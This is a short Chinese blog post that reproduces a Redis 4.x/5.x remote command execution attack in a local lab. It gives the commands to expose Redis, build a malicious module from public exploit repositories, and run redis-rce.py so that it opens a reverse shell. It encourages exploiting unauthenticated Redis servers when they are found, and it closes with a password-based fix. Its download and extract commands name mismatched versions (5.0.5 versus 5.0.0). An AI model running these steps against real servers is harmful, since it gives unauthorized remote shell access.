Redis 4.x 5.x 远程命令执行漏洞

Redis RCE

Posted by 看不尽的尘埃 on July 9, 2019

前言

今天在日志分析的我,收到了朋友的发给我的Redis 4.x 5.x RCE EXP,于是我就又开始了我的漏洞复现之路…

环境搭建

由于看到是Redis 4.x 5.x RCE EXP,我就下载一个5.0.0版本吧:

wget http://download.redis.io/releases/redis-5.0.5.tar.gz
tar xzf redis-5.0.0.tar.gz
cd redis-5.0.5
make

修改配置文件运行远程访问

1、将redis.conf文件中的bind 127.0.0.1 这行前面加注释(#); 2、将redis.conf文件中的 protected-mode yes 改为no;

运行Redis

./redis-server /root/redis/redis-5.0.0/redis.conf

下载EXP

git clone https://github.com/Ridter/redis-rce.git
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

编译module.so文件:

cd RedisModules-ExecuteCommand/
ls
make

编译完成后,文件会在src目录下生成: 图片

将编译完的module.so复制到redis-rce目录下,然后执行以下命令:

python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f module.so

-r参数是指远程Redis IP地址; -L参数是指反弹到的服务器IP地址; 执行命令后,开启监听了本地的21000端口,并成功反弹回了shell。 图片

修复建议

该漏洞鸡肋的是如果设置了Redis的密码就没辙了…但是Redis未授权访问还没灭绝,以后遇到Redis未授权访问还是可以利用利用的! 只要把redis.conf文件中的requirepass 取消注释,并修改为高强度密码即可暂时性的躲避该漏洞的危害。 图片

图片